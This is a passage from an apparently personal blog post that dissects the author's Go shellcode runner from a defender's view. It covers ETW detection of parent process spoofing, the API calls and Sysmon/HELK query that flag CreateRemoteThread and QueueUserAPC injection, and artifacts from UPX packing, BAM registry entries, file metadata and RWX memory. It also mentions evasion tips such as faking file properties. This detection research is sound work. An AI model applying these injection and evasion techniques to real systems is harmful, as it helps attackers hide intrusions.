actions that RemoteThread.exe performs is where ETW shines.</p><p>RemoteThread.exe starts Notepad and sets Explorer as the parent process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMfgcBF9DGeO8ZVyz6U53Q.png" /><figcaption>Spoofed Parent which is RemoteThread.exe (8628)</figcaption></figure><p>The above ETW event shows that ETW captures the real parent process, which is Event Header<em>ProcessID</em> 8628 (RemoteThread.exe), and captures the spoofed parent, which is ParentProcessID 4068 (Explorer). Unlike other tools, ETW accurately captures the accurate parent process in the Event Header.</p><p>Additionally, one could monitor the API call for CreateProcessW and UpdateProcThreadAttribute. To facilitate Parent Process Spoofing, CreateProcessW uses the EXTENDED_STARTUPINFO_PRESENT parameter andUpdateProcThreadAttribute uses thePROC_THREAD_ATTRIBUTE_PARENT_PROCESS parameter. Keep in mind that User Account Control (UAC) legitimately uses parent process spoofing to elevate privileges, so not all instances are automatically malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LL1R_2JI9zlTXeTwFrq-Kg.png" /><figcaption>API calls to UpdateProcThreadAttribute and CreateProcessW to facilitate Parent Process Spoofing</figcaption></figure><h3>Process Injection</h3><p>Process injection is the critical area to focus on when hunting for this shellcode runner as it facilities the actual execution of the shellcode. Go4ARun allows for remote process injection using <a href="https://attack.mitre.org/beta/techniques/T1055/002/">CreateRemoteThread</a> or <a href="https://attack.mitre.org/beta/techniques/T1055/004/">QueueUserAPC</a>.</p><p>Using <a href="http://www.rohitab.com/apimonitor">API Monitor</a>, we can see the API calls that facilitate process injection for both methods. In addition to the CreateRemoteThread and QueueUserAPC API calls, we can see the other API calls which allow for remote process injection in the shellcode runner: OpenProcess, VirtualAllocEx, WriteProcessMemory, and ResumeThread (for theQueueUserAPC method).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bfdc533ojMn9WHmi0BNSwQ.png" /><figcaption>API Calls for the Shellcode Runner using CreateRemoteThread (RemoteThread.exe)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jO8eRl6MhSlcHW70gvCdOA.png" /><figcaption>API Calls for the Shellcode Runner using QueueUserAPC (APC2.exe)</figcaption></figure><p>Another option is process monitoring with Sysmon. Implementation is pretty simple for CreateRemoteThread as Sysmon Event ID 8 covers this. However, QueueUserAPC is not as simple as there is not a directly related Sysmon event. Although, we can key on traits related to both process injection methods. A common characteristic of both injection methods is that the OpenProcess call is needed to access the process we intend to inject our shellcode. We can leverage Sysmon Event ID 10 as it maps to OpenProcess.</p><p>The shellcode runner utilizes the following access <a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">rights</a> for the OpenProcess call:</p><p>PROCESS_CREATE_THREAD (<strong>0x0002</strong>)</p><p>PROCESS_QUERY_INFORMATION (<strong>0x0400</strong>)</p><p><strong>Note:</strong> A handle that has the PROCESS_QUERY_INFORMATION access right automatically inherits <a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">PROCESS_QUERY_LIMITED_INFORMATION</a>(<strong>0x1000</strong>)</p><p>PROCESS_VM_OPERATION (<strong>0x0008</strong>)</p><p>PROCESS_VM_WRITE (<strong>0x0020</strong>)</p><p>PROCESS_VM_READ(<strong>0x0010</strong>)</p><p>These rights equate to a value of (<strong>0x143A</strong>).</p><p>With this information, the following query in <a href="https://github.com/Cyb3rWard0g/HELK">HELK</a> was able to identify instances of my payloads which used CreateRemoteThread and QueueUserAPC.</p><p>(event_id : 10 AND process_granted_access : 0x143A) OR event_id : 8</p><p>Although crude, the query is effective at quickly identifying instances of the shellcode runner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e510LAlWJLPvmOK82jpj9Q.png" /><figcaption>ProcessAccess Event Details (Sysmon Event ID 10) in HELK for Shellcode Runner using QueueUserAPC (APC2.exe)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBsxLL0_7bP4ZIjOeafdWA.png" /><figcaption>ProcessAccess Event Details (Sysmon Event ID 10) in HELK for the Shellcode Runner using CreateRemoteThread (RemoteThread.exe)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*VEn5NiG7hzy8vTwtmpzM0g.png" /><figcaption>CreateRemoteThread Event Details (Sysmon Event ID 8) in HELK for the Shellcode Runner using CreateRemoteThread (RemoteThread.exe)</figcaption></figure><h3>Additional Artifacts</h3><p>The following are items that I came across upon digging into the shellcode runner. These items do not fall into the core components of the runner but also may indicate malicious activity.</p><h4>File Compression</h4><p>There are multiple <a href="https://resources.infosecinstitute.com/category/certifications-training/malware-analysis-reverse-engineering/reverse-engineering-packed-malware/top-popular-packers-used-in-malware/">tools</a> malware developers use to compress Portable Executables (PE)s. The tool I commonly use with Go4ARun is Ultimate Packer for Executables (UPX). UPX is an open-source executable packer.<strong> </strong>UPX allows us to not only decrease the size of the executable but scrambles and masks the executable making it more difficult for an analyst to figure out what is going on. UPX works by compressing the sections stored within the Section Table of the PE file. A strong indicator of UPX usage is the renaming of the header names (UPX0/UPX1/UPX2).</p><p>Using <a href="https://ntcore.com/?tag=cff-explorer">CFF explorer</a>, we can see the section headers before using UPX.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*FLBM93QX3eHfzwvRHr5-Uw.png" /><figcaption>Excerpt of Section Headers before using UPX</figcaption></figure><p>After using UPX, it renames the section headers to UPX0, UPX1, and UPX2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*QrL9i6p5CvvTpBB39el_mg.png" /><figcaption>Excerpt of Section Headers after using UPX</figcaption></figure><h4>Background Activity Moderator (BAM)</h4><p><a href="https://www.andreafortuna.org/2018/05/23/forensic-artifacts-evidences-of-program-execution-on-windows-systems/">BAM</a> is a Windows service that controls the activity of background applications. This service exists in Windows 10 only after the Fall Creators update (version 1709). The shellcode runner sets a registry entry related to BAM upon execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nG6RKoFkYy0RgHB4r2-8fA.png" /><figcaption>ProcMon Excerpt showing the Registry Key Set Related to BAM</figcaption></figure><p>Looking into the registry, we can see that BAM contains a list of paths for executables, and the value of each of those is the time last executed in Windows Filetime (64bit little Endian) format in UTC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdrspCXgZoQig55rHm8mug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SFvpyDHOzgxiTnCFzB8IAg.png" /><figcaption>BAM Registry Entry for RemoteThread.exe</figcaption></figure><h4>File Properties Information</h4><p>I noticed that the file information was blank after building the shellcode runner. An attacker can easily change this by modifying the resource file. For GO, the <a href="https://github.com/josephspurrier/goversioninfo">goversioninfo</a> project allows for easy modification of the file properties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*sXIKTt0diQQgZOtbCUHCaA.png" /><figcaption>Excerpt of Sysmon ProcessCreate Event ID 1 which shows blank metadata</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*mNxGh57nI-6th88S_BH4gw.png" /><figcaption>Excerpt of Sysmon ProcessCreate Event ID 1 after leveraging goversioninfo which shows metadata</figcaption></figure><h4>Memory</h4><p>Looking into the memory of Notepad.exe, we note that there is a readable writeable, and executable (RWX) region of memory that is unsupported by a PE file from disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*lexrC39OcZEw6QsKYTDvmg.png" /><figcaption>The region of memory with RWX and not mapped to an on-disk PE</figcaption></figure><p>Upon inspection, we can see indicators of our CobaltStrike shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*ASwvmFflmUw-_ya1yd2-3Q.png" /><figcaption>Excerpt of shellcode in Notepad memory</figcaption></figure><h3>Conclusion</h3><p>This post serves as a dissection of the various components of the shellcode runner. By no means are these detections robust enough for enterprise implementation. However, it does highlight various artifacts that could serve as a starting point for creating robust detections or areas to investigate to determine malicious behavior.</p><h3>References</h3><ul><li><a href="https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e">Parent PID Spoofing</a></li><li><a href="https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html">Staying Hidden on the Endpoint: Evading Detection with Shellcode</a></li><li><a href="https://stackoverflow.com/questions/5119948/method-to-determine-if-an-exe-file-has-been-compressed-with-upx">Method to determine if an exe file has been compressed with UPX</a></li><li><a href="https://labs.detectify.com/2016/04/12/using-reverse-engineering-techniques-to-see-how-a-common-malware-packer-works/">Using reverse engineering techniques to see how a common malware packer works</a></li><li><a href="https://www.andreafortuna.org/2018/05/23/forensic-artifacts-evidences-of-program-execution-on-windows-systems/">Forensic Artifacts: evidences of program execution on Windows systems | Andrea Fortuna</a></li><li><a href="https://blog.nviso.eu/2020/01/31/the-return-of-the-spoof-part-1-parent-process-id-spoofing/">The return of the spoof part 1: Parent process ID spoofing</a></li><li><a href="https://blog.f-secure.com/detecting-parent-pid-spoofing/">Detecting Parent PID Spoofing - F-Secure Blog</a></li><li><a href="https://github.com/countercept/ppid-spoofing/blob/master/detect-ppid-spoof.py">countercept/ppid-spoofing</a></li><li><a href="https://github.com/josephspurrier/goversioninfo">josephspurrier/goversioninfo</a></li><li><a href="https://ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes">Preventing 3rd Party DLLs from Injecting into your Malware</a></li><li><a href="https://attack.mitre.org/beta/techniques/T1134/004/">Access Token Manipulation: Parent PID Spoofing</a></li><li><a href="https://attack.mitre.org/beta/techniques/T1055/">Process Injection</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bc22426a7e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>